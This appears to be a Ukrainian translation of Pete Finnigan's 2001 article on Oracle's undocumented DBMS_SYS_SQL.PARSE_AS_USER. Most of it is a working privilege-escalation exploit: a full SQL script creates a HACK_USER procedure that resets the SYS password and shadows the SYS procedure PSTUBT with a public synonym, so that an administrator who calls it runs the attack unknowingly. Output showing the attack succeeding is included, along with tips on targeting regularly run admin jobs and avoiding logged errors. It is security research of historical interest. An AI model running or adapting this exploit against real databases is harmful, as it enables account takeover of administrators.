Старе, але корисне від Піта Фіннегана – Функція DBMS_SYS_SQL.PARSE_AS_USER, Інші СУБД, Бази даних, статті

Цей пакет не документований, він використовується засобами реплікації (Oracles Replication Options). Збережені процедури в Oracle 7.3 та 8.0 виконуються з правами власника. Починаючи з Oracle8i з’явилася можливість визначення процедур, що виконуються з правами викликає.


Цей недокументовані пакет DBMS_SYS_SQL.PARSE_AS_USER може дозволити вам інсталювати пакети, які працюють з привілеями викликає, а не з привілеями власника. Ця потенційна “діра” може бути використана, щоб змусити адміністратора виконувати в майбутньому якісь оператори SQL. Наведемо простий приклад:



— dbms_sys.sql
— Pete Finnigan
— July 2001

— Test dbms_sys_sql.parse_as_user

spool c:pentest empdbms_sys.lis
connect sys/manager

grant execute on dbms_sys_sql to dbsnmp;
<!–[if !supportEmptyParas]–>
connect dbsnmp/dbsnmp

create or replace procedure hack_user(pname in varchar2,
uname in varchar2,
dbname in varchar2,
flags in varchar2,
rc out varchar2)
as
c1 integer;
dummy number;
begin
<!–[if !supportEmptyParas]–>c1:=dbms_sql.open_cursor;
sys.dbms_sys_sql.parse_as_user(c1,
“alter user sys identified by sys”,
dbms_sql.v7);
sys.pstubt(pname,uname,dbname,flags,rc);
end;
/
drop public synonym pstubt;
<!–[if !supportEmptyParas]–>create public synonym pstubt for hack_user;

set serveroutput on size 100000

declare
dummy varchar2(40);
begin
pstubt(“hack_user”,””,null,”8″,dummy);
dbms_output.put_line(“dummy is :”//dummy);
end;
/
connect system/manager
declare
dummy varchar2(40);
begin
pstubt(“hack_user”,””,null,”8″,dummy);
dbms_output.put_line(“dummy is :”//dummy);
end;
/
connect sys/sys
  

Запустивши цей командний файл, отримаємо:


<!–[if !supportEmptyParas]–>Connected.

Grant succeeded.

<!–[if !supportEmptyParas]–>Connected.

<!–[if !supportEmptyParas]–>Procedure created.

drop public synonym pstubt
*

ERROR at line 1:
<!–[if !supportEmptyParas]–>ORA-01432: public synonym to be dropped does not exist

<!–[if !supportEmptyParas]–>Synonym created.

declare
*

ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1137
ORA-06512: at “DBSNMP.HACK_USER”, line 12
<!–[if !supportEmptyParas]–>ORA-06512: at line 4

ERROR:
<!–[if !supportEmptyParas]–>ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.

<!–[if !supportEmptyParas]–>Connected.

<!–[if !supportEmptyParas]–>PL/SQL procedure successfully completed.

Connected.



Як бачите, тут є одне головне обмеження – ви повинні мати привілей для виконання пакету DBMS_SYS_SQL. Цілком резонно знайти спосіб отримання такої привілеї або бази даних, в якій такий привілей вже є. Як видно з даного контрольного прикладу, можна створити процедуру, яка змінює пароль користувача SYS (можна змінювати паролі будь-яких користувачів або створювати користувачів, або надавати їм привілеї DBA), і все це можна робити зі схеми користувача DBSNMP. Однак це поки нічого не означає для нас, так як користувач DBSNMP все ще не має права змінювати будь-чиї паролі, окрім свого.


Вирішення проблеми фактично полягає в тому, щоб змусити користувача SYS або іншого адміністратора виконати для вас цю вашу нову процедуру. Ми пошукали в DBA_OBJECTS процедури, що належать користувачеві SYS і знайшли PSTUBT, яка ще не має публічного синоніма, а потім створили публічний синонім PSTUBT, який вказує на нашу нову процедуру HACK_USER. Ця процедура обрана тільки в якості прикладу, в ідеалі ви повинні знайти процедуру або функцію, яка регулярно виконується адміністратором.


Наша процедура викликає DBMS_SYS_SQL.PARSE_AS_USER для виконання фрагмента коду, а потім викликає оригінальну процедуру, яка належить SYS. Це означає, що ми повинні забезпечити відповідність параметрів нашої процедури параметрам існуючої процедури. У даному випадку користувач DBSNMP має право виконання процедури, що належить SYS. Якщо це не так, то не викликайте оригінальну процедуру, оскільки помилки доступу можуть бути зареєстровані.


Для допитливих: процедура PSTUBT була додана для Oracle Forms 3 і 4 і викликалася під час компіляції коду форм для перевірки викликаються в сервері функцій, процедур і пакетів PL / SQL. В Oracle Forms 3 і 4 ще використовувався PL / SQL версії 1. Ця процедура створює фіктивну заглушку (stub), щоб компілятор форм міг синтаксично перевірити код форми. Якщо ви ще використовуєте Oracle Forms 3 і 4 і іноді компілюєте від імені адміністратора, проблема залишається відкритою.


Ключовим моментом цієї спроби злому є пошук процедури, яка регулярно виконується адміністратором, в ідеалі це можуть бути завдання, що знаходяться в черзі завдань, або нічні пакетні завдання. Недоцільно видавати привілеї виконання пакету DBMS_SYS_SQL користувачам, які створюють процедури і допомагають іншим користувачам виконувати те, що вони вимагають.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*